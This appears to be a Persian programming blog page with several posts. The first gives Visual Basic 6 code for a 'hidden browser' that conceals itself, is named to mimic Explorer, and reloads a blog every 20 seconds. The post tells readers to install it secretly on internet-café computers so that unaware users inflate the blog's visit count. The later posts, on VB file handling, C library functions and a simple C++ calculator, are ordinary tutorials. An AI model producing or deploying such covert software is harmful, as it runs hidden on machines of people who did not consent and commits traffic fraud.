نحوه ی ساخت مرورگر مخفی با ویژوال بیسیک 6

نحوه ی ساخت مرورگر مخفی با ویژوال بیسیک 6 :

1-یک پروژه از نوع Exe باز کنید

2- از منوی Project گزینه ی Components را انتخاب کنید

3- از زیر مجموعه ی Controls تیک گزینه ی Microssoft Internet Controls را بزنید بعد پنجره را Ok کنید

4- حالا شیء Web Browser به اخر ابزار ها اضافه شده است روی ان دوبار کلیک کنید تا به فرم اضافه شود

5- در قسمت Load فرمتان کدهای زیر را اضافه کنید

Private Sub Form_Load()

Me.Tag = "www.aminch.blogfa.com"

WebBrowser1.Navigate Me.Tag

Timer1.Enabled = True

Timer1.Interval = 20000

Me.Hide

DoEvents

End Sub

6- حالا یک شیء Timer به فرمتان اضافه کنید روی آن دوبار کلیک کرده و کد زیر را درون ان بنویسید

Private Sub Timer1_Timer()

WebBrowser1.Navigate Me.Tag

WebBrowser1.Refresh

End Sub

7- روی شیءWebBrowser دوبار کلیک کرده و در رویداد NavigateComplete2 این شی ، کد زیر را وارد کنید

Private Sub WebBrowser1_NavigateComplete2(ByVal pDisp As Object, URL As_ Variant)

Timer1.Enabled = True

End Sub

 کار تمام است برنامه را اجرا کنید.

 سورس

مرور گر مخفی در ویژوال بیسیک


این برنامه که با نام Explorer.exe.exe نوشته شده است به صورت مخفی درون خود از مرورگری استفاده می کند که برپایه ی IE است.طرز کاربرنامه به این صورت است که ابتدا باید فایل نصب انرا اجرا کرد(اگر برای کافی نت می خوای روی هر سیستم اجرا کن)بعد برنامه به صورت کاملا مخفی شروع به مرور وبلاگ می کند.این برنامه هر 20 ثانیه یک بار متوقف شده و دوباره شروع به مرور کردن می کند به این کار اگر یک کاربر با یکی از سیستم های کافی نت 30 دقیقه کار کند 90 بار به وبلاگت سر میزند حالا اگر کافی نت 10 سیستم داشته باشد دیگه ...

برای بستن برنامه هم فکر نکنم یه کار بر عادی بتونه اونو ببنده چون اصلا نمیدونه که همچین برنامه ای در حال اجراست .اگه خودت خواستی ببندی تو Task Manager گزینه Explorer.exe.exeرو ببند
من قسمت استارت اپ براش نزاشتم چون اکثر سیستمهای کافی نت Deep freeze نصبه روشون برا همین استارت اپ جواب نمیده .
اینو تو vb8 نوشتم فکر نکنم کدش به دردت بخوره حالا اگه خواستی بگو تا بزارم
نکته: من برنامه رو مخفی نکردم فقط  فرمشو شفاف کردم یعنی برنامه موقع اجرا شدن رو Desktop هستش ولی دیده نمیشه.
موفق باشی.

دانلود

کار با فايلها در ويژوال بيسيک


مقدمه

بعلت عدم وجود اشاره گر در ويژوال بيسيک عمليات کار با فايلها در آن نسبتاً ساده می باشد .
بطور کلی فايلها بر دو نوع هستند :
1 -
فايلهای متنی Text File : اين فايلها فقط شامل کاراکترهای اسکی و برخی کاراکترهای خاص مانند انتهای خط و انتهای فايل هستند .
۲ - فايلهای باينری Binary File : شامل هر نوع کاراکتری می توانند باشند و کاربردهای گسترده ای دارند مانند بانک های اطلاعاتی ، فايلهای اجرائی ، فايلهای گرافيکی و غيره
ويژوال بيسيک می تواند با هر دو نوع فايل کار کند .

چگونگی باز کردن فايلها

قبل از اينکه بتوان عمليات ورودی/خروجی را روی يک فايل انجام داد ابتدا بايستی آنرا باز کرد . باز کردن فايلها در ويژوال بيسيک توسط دستور Open انجام می شود . فرمت کلی اين دستور بصورت زير است :

Open filename [For mode] [Access access][lock] As [#]filenumber [Len=reclen]x


[
پارامترهای داخل کروشه اختياری هستند . ]
filename
نام فايلی است که می خواهيم آنرا باز کنيم .
mode
حالت باز کردن فايل است . اين حالتها عبارتند از :
- Input :
فايل بعنوان ورودی باز می شود .
- Output :
فايل بعنوان خروجی باز می شود .
- Binary :
فايل از نوع باينری باز می شود .
- Append :
فايل طوری باز می شود که بتوان به انتهای آن چيزی اضافه کرد .
- Random
access
نوع دسترسی به فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Read :
خواندن فايل
- Write :
نوشتن در فايل
- ReadWrite :
خواندن و نوشتن فايل
lock
نوع دسترسی ساير برنامه ها به اين فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Shared :
دسترسی اشتراکی
- Lock Read
- Lock Write
- Lock Read Write
filenumber
عددی است که ويژوال بيسيک از آن برای دسترسی به فايل استفاده می کند .اين عدد بايستی برای هر فايل منحصر بفرد و بين ۱ تا ۵۱۱ باشد . برای بدست آوردن اولين شماره آزاد می توان از تابع FreeFile استفاده کرد .
reclen :
طول بافر فايل است . اين عدد بايستی از ۳۲۷۶۷ کو چکتر باشد .

در صورتی که فايلی که توسط filename مشخص شده وجود نداشته و فايل برای Append ، Binary ، Output و يا Random باز شده باشد در اينصورت يک فايل جديد با اين نام ساخته می شود .
در صورتی که فايل بصورت باينری باز شده باشد پارامتر Len ناديده گرفته می شود .

چگونگی بستن فايل

پس از پايان کار با فايل برای بستن آن از دستور Close استفاده می کنيم . فرمت اين دستور بصورت زير است :

Close #filenumber


دستور Close بدون هيچ پارامتری تمام فايلهای باز را می بندد .

کار با دايرکتوری

۱ - گرفتن Dir : توسط دستور Dir می توان نام فايلهای موجود در يک دايرکتوری را بر اساس پارامترهايي که به آن می دهيم پيدا کنيم . برای مثال :

Myfile=Dir$("c:\text\*.txt)"x


دستور فوق نام اولين فايل موجود در دايرکتوری C:\TEXT را که پسوند آنها txt باشد در متغير Myfile قرار می دهد . اگر دستور فوق را بدون پارامتر مجدداً اجرا کنيم نام دومين فايل برگرداننده می شد و الی آخر
Dir
دارای يک پارامتر اختياری است که نوع فايلهای مورد نظر را نيز می توان با آن مشخص نمود . مثال :

Myfile=Dir$("c:\text\*.txt",vbNormal)x


مقادير ممکن اين پارامتر عبارتند از :
vbNormal
، vbHidden ، vbSystem ، vbDirectory
۲ - تغيير دايرکتوری : برای تغيير دايرکتوری از دستور ChDir استفاده می شود مثال :

ChDir "c:\windows\system32"x


۳ - تغيير درايو : برای تغيير درايو از دستور ChDrive استفاده می شود مثال :

ChDrive "E:"x


۴ - ساخت دايرکتوری : برای ايجاد دايرکتوری جديد از دستور MKDir استفاده می شود مثال :

MKDir "c:\MyFolder"x


۵ - حذف دايرکتوری : برای حذف دايرکتوری از دستور RmDir استفاده می شود مثال :

RmDir "C:\MyFoler"x

خواندن از فايل :

1 -
دستور Input : توسط دستورهای Input و Line Input می توان محتوای فايلهای متنی و باينری را خواند .
دستور Input به دو صورت بکار می رود :
Input #Filenumber,ReadData
ReadData=Input(Charnum,Filenumber)x
دستور اول کل يک فايل را خوانده و در متغير ReadData قرار می دهد . دستور دوم ، تعداد Charnum بايت از فايلی با شماره Filenumber را خوانده و در متغير ReadData قرار می دهد .
اين دو دستور تمام کاراکترهای موجود در فايل را می خوانند . برای اينکه بتوان فايل را خط به خط خواند ، از دستور Line Input استفاده کنيد :
Line Input #Filenumber,ReadData
البته از دستور Line Input بيشتر برای خواندن فايلهای متنی استفاده می شود زيرا ممکنست در فايل باينری هيچ کاراکتر انتهای خط ( CRLF ) وجود نداشته باشد و يکباره کل فايل خوانده شود .

۲ - دستور Get : از اين دستور برای خواندن فايلهای باينری با دسترسی تصادفی ( Random Access ) استفاده میشود :
Get #Filenumber,[Recordnum%],ReadData
اين دستور رکورد شماره Recordnum را از فايلی با شماره Filenumber می خواند و در متغير ReadData قرار می دهد . علامت کروشه نشان می دهد که پارامتر Recordnum اختياری است و در صورتيکه ذکر نشود داده ها از رکورد بعدی فايل ( جائيکه اشاره گر فايل آنجا قرار دارد ) خوانده می شوند .

نوشتن در فايل :

۱ - دستور Print : توسط اين دستور می توان اطلاعاتی را در فايل قرار داد :
Print #FileNumber,WriteData
دستور فوق محتويات متغير WriteData را در فايلی با شماره FileNumber می نويسد . بوسيله دستور Print می توان اطلاعات را بصورت خط به خط در فايل نوشت برای مثال :
Print #1,"Hello Visual Basic"+Vbcrlf
عبارت Vbcrlf نشان دهنده کاراکتر انتهای خط ( CRLF ) در ويژوال بيسيک می باشد .

۲ - دستور Put : اين دستور برای نوشتن داده ها در فايلهای باينری با دسترسی تصادفی بکار می رود :
Put #FileNumber,[Recordnum],WriteData
اين دستور محتويات متغير WriteData را در رکورد شماره Recordnum قرار می دهد .

تعيين محل رکورد در فايلهای با دسترسی تصادفی :

برای منتقل کردن اشاره گر فايل به يک رکورد در يک فايل باينری با دسترسی اتفاقی ، از دستور Seek استفاده می شود . اين دستور محل يک بايت را در فايل می گيرد و اشاره گر فايل را در آنجا قرار می دهد بنابراين دستورات Put و Get می توانند با اين رکورد کار کنند :
Seek #FileNumber,RecordNumber

تشخيص انتهای فايل :

برای اينکه متوجه شويم به انتهای يک فايل رسيده ايم از دستور EOF استفاده می کنيم . اين دستور يکی از مقادير True يا False را بر می گرداند که نشان می دهد به انتهای فايلرسيده ايم يا نه . از اين تابع در حلقه های Do-While استفاده می شود :
Do While Not (EOF(FileNumer))x
.
.
.
Loop
حلقه فوق تا زمانيکه فايل موردنظر به انتها نرسيده باشد اجرا خواهد شد .

بدست آوردن طول يک فايل :

بوسيله دستور LOF می توان طول محتويات يک فايل را بدست آورد :
FileSize=LOF(FileNumber)x

بدست آوردن محل اشاره گر فايل :

توسط دستور Loc می توان محل جاری اشاره گر فايل را بدست آورد . اجرا شدن اين دستور محل اشاره گر را تغيير نمی دهد :
FilePosition=Loc(FileNumber)x

ساير عمليات کار با فايل :

۱ - حذف فايل : برای حذف يک يا چند فايل از دستور Kill استفاده می شود :
Kill "C:\Temp\MyFile.txt"x
Kill "C:\Temp\*.txt"x

۲ - انتقال فايل : برای انتقال يک فايل از يک دايرکتوری به دايرکتوری ديگر از دستور Name استفاده می شود . مبدا و مقصد بايستی روی يک درايو باشند . اگر دايرکتوری مبدا و مقصد يکی باشد فايل تغيير نام داده می شود :
Name "C:\Temp\File1.txt" To "C:\Temp2\File2.txt"x

۳ - کپی کردن فايل : برای کپی کردن يک فايل از يک دايرکتوری به دايرکتوری ديگر از دستور FileCopy استفاده می شود :
FileCopy "\File1.txt\ To "C:\Temp\File2.txt"x

۴ - بدست آوردن تاريخ و زمان آخرين تغيير فايل و يا زمان ايجاد فايل : برای اين کار از دستور FileDateTime استفاده می شود . ابتدا بايستی يک متغير از نوع Variant تعريف کرده و سپس توسط اين دستور تاريخ و زمان موردنظر را استخراج کنيم :
Dim FileInfo As Variant
FileInfo=FileDateTime("C:\Temp\MyFile.txt")x

۵ - استخراج طول فايل : برای بدست آوردن طول يک فايل بر حسب بايت از دستور FileLen استفاده می شود :
FileSize=FileLen("C:\MyFile.txt")x

۶ - تغيير صفت يک فايل : برای تغيير صفت يک فايل از دستور SetAttr استفاده می شود . پارامترهای اين دستور عبارتند از :
0 :
فايل معمولی
2 :
فايل مخفی
4 :
فايل سيستمی

SetAttr FileNumber,FileAttrib

مقابله با خطاهای کار با فايل :

در زمان کار با فايلهای احتمال زيادی وجود دارد که خطا بوجود آيد . بنابراين بايستی در زمان کار با فايلها در صورت ممکن از روتينهای مقابله با خطا استفاده کنيم . شايع ترين خطاهای کار با فايل عبارتند از :

۵۲ : شماره يا نام فايل صحيح نيست
۵۳ : فايل پيدا نشد
۵۴ : حالت فايل صحيح نيست
۵۵ : فايل قبلاً باز شده
۵۸ : فايل از قبل وجود دارد
۵۹ : طول رکورد صحيح نيست
۶۱ : ديسک پر است
۶۲ : عبور از انتهای فايل
۶۳ : شماره رکورد صحيح نيست
۷۰ : دسترسی ممنوع است
۷۱ : ديسک آماده نيست
۷۶ : مسير پيدا نشد

در هنگام مقابله با خطا بهتراست از يک ساختار Select-Case استفاده کنيد :
Select Case Err
Case 71
MsgBox "Drive is Not Ready"x
.
.
.
End Select

امین سلطانی

توابع کتابخانه ای در ++C

مقدمه :

توابع کتابخانه ای دسته ای از توابع تعریف شده و آماده هستند که عملیات ها و محاسبات پرکاربرد و گونانکونی را انجام می دهند .از این نوع توابع می توان به توابع ریاضی،کاراکتری ،ورودی و خروجی اشاره کرد..

توابع کتابخانه ای در فایلهای جداگانه ای در کنار هم دسته بندی می گردند این فایلها به صورت بخشی از هر کامپایلر در سی تهیه می گردند. این فایل ها به فایل های هدر معروفند.

1- توابع ریاضی :

در زبان C فایل math.h الگوی تعدادی از توابع ریاضی پرکاربرد را داراست. توابع ریاضی شامل موارد زیر می باشد:

عملکرد

تابع

قدر مطلق عدد را محاسبه می کند

Abs(a)

 

قدر مطلق اعداد اعشاری را محاسبه می کند

 

 

Fabs(a)

 

جذر عدد مثبت را می گیرد

 

Sqrt(a)

 

به اولین مقدار صحیح بعدی گرد می کند

 

Ceil(a)

 

به اولین مقدار صحیح قبلی گرد می کند

 

Floor(a)

 

E را به توان a می رساند

 

Exp(a)

 

لگاریتم بر پایه e را محاسبه می کند

 

Log(a)

 

کسینوس را محاسبه می کند

 

Cos(a)

 

سینوس را محاسبه می کند

 

Sin(a)

 

تانژانت زاویه را محاسبه می کند

Tan (a)

 

...

 

 

 

2- توابع کاراکتری :

توابع کاراکتری برای تست و ازمایش کاراکتر ها ، تبدیل و پردازش انها مورد استفاده قرار می گیرند. این توابع در فایل ctype.h وجود دارند

 

 

3-توابع ورودی و خروجی:

از این توابع برای انتقال اطلاعات بین سیستم و وسایل ورودی و خروجی استفاده می شود . فایل هایی مثل stdio.h و stdafx.h توابع ورودی و خروجی را در خود نگه می دهند. در ادامه با تابع های ورودی و خروجی بیشتر اشنا می شویم.

 

1-     تابع Cin :

از این تابع برای گرفتن اطلاعات استفاده میشود

 

2-     تابع Cout :

از این تابع برای نمایش مقدار در خروجی استفاده می شود

3-     تابع getchar() :

این تابع یک تک کاراکتر را از ورودی دریافت می کند .در این تابع پس از وارد کردن کاراکتر مورد نظر باید کلید Enter فشرده شود

4-     تایع getch()  :

این تابع همانند تابع بالاست . فقط نبازی به زدن کلید Enter  نیست

5-     ...

 

کد چهار عمل اصلی در ++VC
توجه : این دستور در ++VC نوشته شده است . اگر شما می خواهید در ++C انرا بکار ببرید به دستور printf از دستور Cout و به جای دستور Scanf از دستور Cin استفاده کنید.

کد
#include "stdafx.h"

int main()
{
    // in VC++
    float a,s,m,z,t,me;
    int majmo,zarb,taghsim,menha;
    printf("Addad Avval:\n");
    scanf("%f",&a);
    printf("Addad dovom:\n");
    scanf("%f",&s);
    // Float jam
    m=a+s;
    printf("jam ashari= %f\n",m);
    // int jam
    majmo=a+s;
    printf("jam sahih= %d\n",majmo);
    // float zarb
    z=a*s;
    printf("zarb ashari= %f\n",z);
    // int zarb
    zarb=a*s;
    printf("zarb sahih= %d\n",zarb);
    // float taghsim
    t=a/s;
    printf("taghsim ashari= %f\n",t);
    // int taghsim
    taghsim=a/s;
    printf("taghsim sahih= %d\n",taghsim);
    // float menha
    me=a-s;
    printf("tafrigh ashari= %f\n",me);
    // int menha
    menha=a-s;
    printf("tafrigh sahih= %d\n",menha);
    return 0;
}